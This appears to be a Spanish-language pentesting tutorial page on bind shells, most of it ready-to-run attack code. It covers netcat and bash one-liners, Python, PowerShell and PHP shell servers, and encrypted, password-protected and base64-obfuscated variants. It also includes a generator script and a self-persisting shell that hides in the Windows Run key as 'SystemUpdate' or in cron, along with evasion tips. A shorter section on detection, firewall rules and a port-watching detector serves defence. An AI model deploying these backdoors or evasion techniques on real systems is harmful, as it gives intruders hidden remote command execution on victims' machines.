Skip to content

Bind Shell - Técnicas de Conexión Directa

Bind Shell - Técnicas de Conexión Directa

Section titled “Bind Shell - Técnicas de Conexión Directa”

Una Bind Shell es una técnica de post-explotación donde el sistema comprometido abre un puerto y espera conexiones entrantes del atacante. A diferencia de las reverse shells, aquí el objetivo actúa como servidor y el atacante como cliente.

Una bind shell establece un listener en el sistema objetivo que:

  • Abre un puerto específico
  • Espera conexiones entrantes
  • Proporciona acceso shell al conectarse
  • Mantiene el control hasta que se cierre la conexión
AspectoBind ShellReverse Shell
DirecciónObjetivo → EscuchaAtacante → Escucha
ConexiónAtacante se conectaObjetivo se conecta
FirewallMás problemáticoMenos problemático
NATRequiere port forwardingFunciona transparentemente
DetecciónPuerto abierto visibleConexión saliente normal
Terminal window
# En el objetivo (víctima)
nc -lvp 4444 -e /bin/bash
# Desde el atacante
nc 192.168.1.100 4444
Terminal window
# En el objetivo (víctima)
nc.exe -lvp 4444 -e cmd.exe
# Desde el atacante
nc.exe 192.168.1.100 4444
Terminal window
# En el objetivo
mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
# Desde el atacante
nc 192.168.1.100 4444
Terminal window
# En el objetivo
bash -i >& /dev/tcp/0.0.0.0/4444 0>&1 &
nc -lvp 4444
# Desde el atacante
nc 192.168.1.100 4444
bind_shell.py
#!/usr/bin/env python3
import socket
import subprocess
import os
def bind_shell(port):
# Crear socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind al puerto
s.bind(('0.0.0.0', port))
s.listen(1)
print(f"[+] Listening on port {port}")
while True:
conn, addr = s.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
while True:
try:
# Recibir comando
command = conn.recv(1024).decode().strip()
if not command or command.lower() == 'exit':
break
# Ejecutar comando
if command.startswith('cd '):
try:
os.chdir(command[3:])
conn.send(b"Directory changed\n")
except:
conn.send(b"Failed to change directory\n")
else:
output = subprocess.run(command, shell=True,
capture_output=True, text=True)
result = output.stdout + output.stderr
conn.send(result.encode())
except Exception as e:
conn.send(f"Error: {str(e)}\n".encode())
break
conn.close()
if __name__ == "__main__":
bind_shell(4444)
encrypted_bind_shell.py
#!/usr/bin/env python3
import socket
import subprocess
import os
import base64
from cryptography.fernet import Fernet
class EncryptedBindShell:
def __init__(self, port, key=None):
self.port = port
if key:
self.cipher = Fernet(key)
else:
# Generar clave
key = Fernet.generate_key()
self.cipher = Fernet(key)
print(f"[+] Encryption key: {key.decode()}")
def encrypt(self, data):
return base64.b64encode(self.cipher.encrypt(data.encode())).decode()
def decrypt(self, data):
return self.cipher.decrypt(base64.b64decode(data.encode())).decode()
def start(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', self.port))
s.listen(1)
print(f"[+] Encrypted bind shell listening on port {self.port}")
while True:
conn, addr = s.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
# Enviar prompt inicial
conn.send(self.encrypt("Shell ready. Enter commands:\n").encode())
while True:
try:
# Recibir comando cifrado
encrypted_cmd = conn.recv(4096).decode().strip()
if not encrypted_cmd:
break
command = self.decrypt(encrypted_cmd)
if command.lower() == 'exit':
break
# Ejecutar comando
if command.startswith('cd '):
try:
os.chdir(command[3:])
response = "Directory changed to: " + os.getcwd()
except Exception as e:
response = f"Failed to change directory: {str(e)}"
else:
output = subprocess.run(command, shell=True,
capture_output=True, text=True)
response = output.stdout + output.stderr
# Enviar respuesta cifrada
encrypted_response = self.encrypt(response)
conn.send(encrypted_response.encode())
except Exception as e:
error_msg = self.encrypt(f"Error: {str(e)}")
conn.send(error_msg.encode())
break
conn.close()
if __name__ == "__main__":
shell = EncryptedBindShell(4444)
shell.start()
bind_shell.ps1
$port = 4444
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $port)
$listener.Start()
Write-Host "[+] Bind shell listening on port $port"
while ($true) {
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
$writer = [System.IO.StreamWriter]::new($stream)
$reader = [System.IO.StreamReader]::new($stream)
$writer.WriteLine("PowerShell Bind Shell")
$writer.Flush()
while ($client.Connected) {
$writer.Write("PS> ")
$writer.Flush()
$command = $reader.ReadLine()
if ($command -eq "exit") { break }
try {
$output = Invoke-Expression $command 2>&1 | Out-String
$writer.WriteLine($output)
} catch {
$writer.WriteLine("Error: $($_.Exception.Message)")
}
$writer.Flush()
}
$client.Close()
}
Terminal window
# Usar puertos comunes para evadir detección
nc -lvp 80 -e /bin/bash # HTTP
nc -lvp 443 -e /bin/bash # HTTPS
nc -lvp 53 -e /bin/bash # DNS
nc -lvp 22 -e /bin/bash # SSH (si no está en uso)
auth_bind_shell.py
#!/usr/bin/env python3
import socket
import subprocess
import hashlib
def authenticate(conn, password_hash):
conn.send(b"Password: ")
password = conn.recv(1024).decode().strip()
# Verificar hash
if hashlib.sha256(password.encode()).hexdigest() == password_hash:
conn.send(b"Authentication successful\n")
return True
else:
conn.send(b"Authentication failed\n")
return False
def bind_shell_with_auth(port, password):
password_hash = hashlib.sha256(password.encode()).hexdigest()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', port))
s.listen(1)
print(f"[+] Authenticated bind shell on port {port}")
while True:
conn, addr = s.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
if not authenticate(conn, password_hash):
conn.close()
continue
# Shell loop aquí...
# (código similar al ejemplo anterior)
if __name__ == "__main__":
bind_shell_with_auth(4444, "mi_password_secreto")
obfuscated_bind_shell.sh
#!/bin/bash
# Ofuscar comandos
CMD1=$(echo "bmMgLWx2cCA0NDQ0IC1lIC9iaW4vYmFzaA==" | base64 -d)
CMD2=$(echo "L2Jpbi9iYXNo" | base64 -d)
# Variables ofuscadas
P0RT=4444
SH3LL=$CMD2
# Ejecutar bind shell ofuscada
eval $CMD1
bind_shell_generator.sh
#!/bin/bash
generate_netcat_bind() {
local port=$1
local shell_type=$2
case $shell_type in
"bash")
echo "nc -lvp $port -e /bin/bash"
;;
"sh")
echo "nc -lvp $port -e /bin/sh"
;;
"cmd")
echo "nc.exe -lvp $port -e cmd.exe"
;;
"powershell")
echo "nc.exe -lvp $port -e powershell.exe"
;;
esac
}
generate_python_bind() {
local port=$1
cat << EOF
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('0.0.0.0',$port))
s.listen(1)
while True:
conn,addr=s.accept()
while True:
try:
cmd=conn.recv(1024).decode().strip()
if not cmd or cmd=='exit':break
if cmd.startswith('cd '):
os.chdir(cmd[3:])
conn.send(b'Directory changed\\n')
else:
output=subprocess.run(cmd,shell=True,capture_output=True,text=True)
conn.send((output.stdout+output.stderr).encode())
except:break
conn.close()
EOF
}
# Uso del script
echo "[+] Bind Shell Generator"
echo "1. Netcat Bash: $(generate_netcat_bind 4444 bash)"
echo "2. Netcat CMD: $(generate_netcat_bind 4444 cmd)"
echo ""
echo "3. Python Bind Shell:"
generate_python_bind 4444
bind_shell_client.py
#!/usr/bin/env python3
import socket
import threading
import sys
class BindShellClient:
def __init__(self, host, port):
self.host = host
self.port = port
self.socket = None
def connect(self):
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.host, self.port))
print(f"[+] Connected to {self.host}:{self.port}")
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def send_command(self, command):
try:
self.socket.send(command.encode() + b'\n')
response = self.socket.recv(4096).decode()
return response
except Exception as e:
print(f"[-] Error sending command: {e}")
return None
def interactive_shell(self):
def receive_data():
while True:
try:
data = self.socket.recv(4096).decode()
if data:
print(data, end='')
else:
break
except:
break
# Iniciar hilo para recibir datos
receive_thread = threading.Thread(target=receive_data)
receive_thread.daemon = True
receive_thread.start()
# Loop principal para enviar comandos
while True:
try:
command = input()
if command.lower() == 'exit':
break
self.socket.send(command.encode() + b'\n')
except KeyboardInterrupt:
break
self.socket.close()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 bind_shell_client.py <host> <port>")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
client = BindShellClient(host, port)
if client.connect():
client.interactive_shell()
php_bind_shell.php
<?php
$port = 4444;
$shell = '/bin/bash';
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($socket, '0.0.0.0', $port);
socket_listen($socket, 1);
echo "[+] PHP Bind Shell listening on port $port\n";
while (true) {
$client = socket_accept($socket);
while (true) {
$command = socket_read($client, 1024);
$command = trim($command);
if ($command == 'exit') break;
$output = shell_exec($command . ' 2>&1');
socket_write($client, $output);
}
socket_close($client);
}
?>
persistent_bind_shell.py
#!/usr/bin/env python3
import socket
import subprocess
import threading
import time
import os
class PersistentBindShell:
def __init__(self, port, restart_delay=30):
self.port = port
self.restart_delay = restart_delay
self.running = True
def create_persistence(self):
"""Crear persistencia en el sistema"""
try:
# Windows - Registro
if os.name == 'nt':
import winreg
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "SystemUpdate", 0, winreg.REG_SZ,
sys.executable + " " + __file__)
winreg.CloseKey(key)
# Linux - Crontab
else:
cron_job = f"@reboot python3 {__file__}\n"
os.system(f'(crontab -l 2>/dev/null; echo "{cron_job}") | crontab -')
except Exception as e:
print(f"[-] Failed to create persistence: {e}")
def bind_shell(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', self.port))
s.listen(1)
while self.running:
try:
conn, addr = s.accept()
while True:
command = conn.recv(1024).decode().strip()
if not command or command == 'exit':
break
output = subprocess.run(command, shell=True,
capture_output=True, text=True)
result = output.stdout + output.stderr
conn.send(result.encode())
conn.close()
except Exception as e:
time.sleep(1)
continue
except Exception as e:
print(f"[-] Bind shell error: {e}")
finally:
s.close()
def start(self):
# Crear persistencia
self.create_persistence()
# Iniciar bind shell con reinicio automático
while True:
try:
self.bind_shell()
except Exception as e:
print(f"[-] Shell crashed: {e}")
if not self.running:
break
time.sleep(self.restart_delay)
if __name__ == "__main__":
shell = PersistentBindShell(4444)
shell.start()
Terminal window
# Verificar puertos en escucha
netstat -tulpn | grep LISTEN
ss -tulpn | grep LISTEN
# Buscar procesos sospechosos
ps aux | grep -E "(nc|netcat|python|bash)" | grep -v grep
# Verificar conexiones establecidas
netstat -an | grep ESTABLISHED
Terminal window
# Capturar tráfico sospechoso
tcpdump -i any -n port 4444
# Analizar con Wireshark
wireshark -k -i any -f "port 4444"
Terminal window
# Bloquear puertos no autorizados
iptables -A INPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --sport 4444 -j DROP
# Windows Firewall
netsh advfirewall firewall add rule name="Block Bind Shell" dir=in action=block protocol=TCP localport=4444
bind_shell_detector.py
#!/usr/bin/env python3
import psutil
import socket
import time
def detect_suspicious_listeners():
"""Detectar listeners sospechosos"""
suspicious_ports = [4444, 4445, 1337, 31337, 8080, 9999]
for conn in psutil.net_connections():
if (conn.status == 'LISTEN' and
conn.laddr.port in suspicious_ports):
try:
process = psutil.Process(conn.pid)
print(f"[!] Suspicious listener detected:")
print(f" Port: {conn.laddr.port}")
print(f" Process: {process.name()} (PID: {conn.pid})")
print(f" Command: {' '.join(process.cmdline())}")
print()
except:
pass
def monitor_network():
"""Monitoreo continuo"""
print("[+] Starting bind shell detection...")
while True:
detect_suspicious_listeners()
time.sleep(30)
if __name__ == "__main__":
monitor_network()
  1. Selección de Puerto:

    • Usar puertos comunes (80, 443, 53)
    • Evitar puertos obviamente sospechosos
    • Verificar que el puerto no esté en uso
  2. Evasión:

    • Implementar autenticación
    • Usar cifrado en comunicaciones
    • Ofuscar el código del bind shell
  3. Persistencia:

    • Implementar reconexión automática
    • Crear múltiples puntos de acceso
    • Usar técnicas de persistencia del sistema
  1. Monitoreo:

    • Supervisar puertos en escucha
    • Analizar tráfico de red anómalo
    • Implementar alertas por nuevos listeners
  2. Prevención:

    • Configurar firewalls restrictivos
    • Implementar segmentación de red
    • Usar herramientas de detección de intrusiones
  • Netcat: Herramienta básica para bind shells
  • Socat: Versión avanzada con cifrado
  • Ncat: Versión moderna de Netcat
  • PowerCat: PowerShell version de Netcat

Nota Legal: Esta información es para fines educativos y pentesting autorizado únicamente. El uso no autorizado puede ser ilegal.